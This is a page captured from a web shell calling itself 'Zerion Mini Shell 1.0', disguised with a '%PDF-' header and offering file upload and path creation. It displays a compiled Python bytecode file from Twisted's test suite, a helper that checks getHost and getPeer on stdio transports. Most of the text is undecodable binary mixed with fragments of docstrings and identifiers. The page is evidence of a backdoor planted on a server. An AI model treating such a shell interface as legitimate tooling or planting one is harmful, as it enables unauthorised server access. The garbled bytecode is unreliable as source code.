%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/test/__pycache__/stdio_test_hostpeer.cpython-312.pyc

�

Ϫ�fA���dZddlZddlmZmZddlmZGd�dej�Ze	dk(r\ejejd�j�dd	lm
Z
eje��e
j�yy)
z�
Main program for the child process run by
L{twisted.test.test_stdio.StandardInputOutputTests.test_hostAndPeer} to test
that ITransport.getHost() and ITransport.getPeer() work for process transports.
�N)�protocol�stdio)�reflectc��eZdZd�Zd�Zy)�
HostPeerChildc	�P�|jjdjt|jj	��jd�t|jj
��jd�g��|jj�y)N�
�ascii)�	transport�write�join�str�getHost�encode�getPeer�loseConnection)�selfs �B/usr/lib/python3/dist-packages/twisted/test/stdio_test_hostpeer.py�connectionMadezHostPeerChild.connectionMadesw��������J�J�����.�.�0�1�8�8��A�����.�.�0�1�8�8��A��
�	
�	
���%�%�'�c�,�tj�y)N)�reactor�stop)r�reasons  r�connectionLostzHostPeerChild.connectionLosts�����rN)�__name__�
__module__�__qualname__rr�rrrrs��	(�rr�__main__�)r)�__doc__�sys�twisted.internetrr�twisted.pythonr�Protocolrr�namedAny�argv�installr�
StandardIO�runrrr�<module>r,sw��
��,�"�
�H�%�%�
� �z���G���S�X�X�a�[�!�)�)�+�(��E���]�_�%��G�K�K�M�r

Zerion Mini Shell 1.0